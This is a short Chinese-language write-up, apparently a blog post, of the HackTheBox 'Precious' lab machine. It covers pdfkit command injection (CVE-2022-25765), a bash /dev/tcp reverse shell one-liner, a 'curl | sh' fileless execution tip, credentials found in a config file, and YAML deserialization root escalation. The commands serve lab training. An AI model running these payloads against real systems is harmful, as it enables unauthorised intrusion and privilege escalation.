hackthebox precious easy

发布时间 2023-06-30 11:05:47作者: lisenMiller

常规进行信息收集以及开放端口

访问80进行探测

主页有一个html2pdf的功能

探测一下正常业务看看是否存命令执行等

正常业务下载好文件后,利用exiftools查看该pdf的信息发现发现power by pdfkit v8.6.0

存在CVE-2022-25765

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

#{} 是提醒reader 里面是要填写的信息

发现返回存在漏洞执行后,可以利用bash -c '/bin/bash -i >& /dev/tcp/kaliip/1234 0>&1 ' 或者python或其他已经安装好的函数进行反弹shell

获得反弹shell之后再利用特定的sudo -l 查看计划任务 以及linpeas.sh进行 tips:curl xx | sh 可以直接进行 内存执行不留下文件

然后可以发现/home/ruby这个用户的家目录有一个环境变量是多出来的叫.bundle/config 查看发现另一个用户的账号密码

通过ssh进行访问 进入到henry用户的shell中

sudo -l查看有一个/usr/bin/ruby 执行的rb文件

查看发现是用了yaml.load函数 可以造成反序列化 

漏洞利用

复制这段payload并通过ruby用户进行修改dependencies.yml文件

并进行sudo /usr/bin/ruby /opt/update_dependencies.rb 成功执行 我们鞋子啊git_set:这个参数的命令

因为是利用root权限进行执行 ,可以直接 chmod +x /bin/bash 进行设置 

再利用/bin/bash -p 提权到root权限